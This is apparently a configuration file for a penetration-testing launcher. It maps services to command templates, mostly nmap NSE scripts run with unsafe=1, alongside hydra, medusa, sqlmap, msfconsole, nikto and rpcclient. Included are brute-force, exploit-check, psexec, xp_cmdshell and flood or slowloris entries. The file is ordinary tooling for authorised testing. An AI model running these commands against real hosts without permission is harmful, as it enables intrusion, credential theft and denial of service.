+http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] 